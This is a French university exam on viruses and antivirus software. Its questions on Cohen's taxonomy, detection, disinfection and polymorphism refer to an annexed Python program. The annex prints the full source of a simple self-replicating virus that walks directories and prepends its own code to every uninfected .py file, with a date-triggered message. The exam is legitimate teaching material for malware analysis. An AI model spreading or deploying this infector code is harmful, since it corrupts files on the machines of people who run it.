

Examen Virus & Antivirus

Attention : répondre directement sur le sujet et rendre l'ensemble des annexes avec le sujet
Le barème est sur 12 points.

Nom / Prénom :

Analyse du code de FRANKLIN, dont le code (python) est fourni en annexe.

**Les réponses aux questions doivent être
PRÉCISES (utiliser le vocabulaire adapté)
et CONCISES (ne pas dépasser l'espace disponible).**

Questions

Question 1 (2pt) : Selon la taxonomie de Cohen (vue en cours), ce programme est-il :

- un virus
- un ver
- un hybride virus/ver
- un cheval de troie
- çune bombe logique

Justifiez votre réponse (1 ligne) :

Question 2 (1pt) : Le programme possède t'il une fonction d'anti-détection ? Si c'est le cas, indiquez à quelle(s) section(s) cette fonction est mise en œuvre.

Question 3 (2pt) : Proposez un schéma décrivant les grandes étapes de fonctionnement de ce programme.

Question 4 (1pt) : Comment peut-on détecter la présence de cette menace sur une machine ? Justifiez (1 phrase).

Question 5 (2pt) : Sera-t'il possible de désinfecter totalement cette menace ? Justifiez en précisant le cas échéant l'ensemble des éléments à nettoyer.

Question 6 (2pt) : Expliquez le principe du polymorphisme, expliquez l'intérêt pour le concepteur de virus.

Question 7 (2pt) : Expliquez l'impact du théorème de Cohen sur le choix d'une solution d'anti-virus pour une entreprise.

Question 8 (2pt) : Expliquez pourquoi malgré le théorème de Cohen, l'utilisation d'un antivirus reste judicieuse.

oct. 09, 18 18:09

CRANKLIN.py

Page 1/1

```
#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
5 def search(path):
    filestoinspect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
10         filestoinspect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
15                 infected = True
                break
            if infected == False:
                filestoinspect.append(path+"/"+fname)
    return filestoinspect
20 def infect(filestoinspect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i>=0 and i <39:
25         virusstring += line
    virus.close
    for fname in filestoinspect:
        f = open(fname)
        temp = f.read()
        f.close()
30         f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
35     if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAPPY BIRTHDAY CRANKLIN!"
    filestoinspect = search(os.path.abspath(""))
    infect(filestoinspect)
    bomb()
```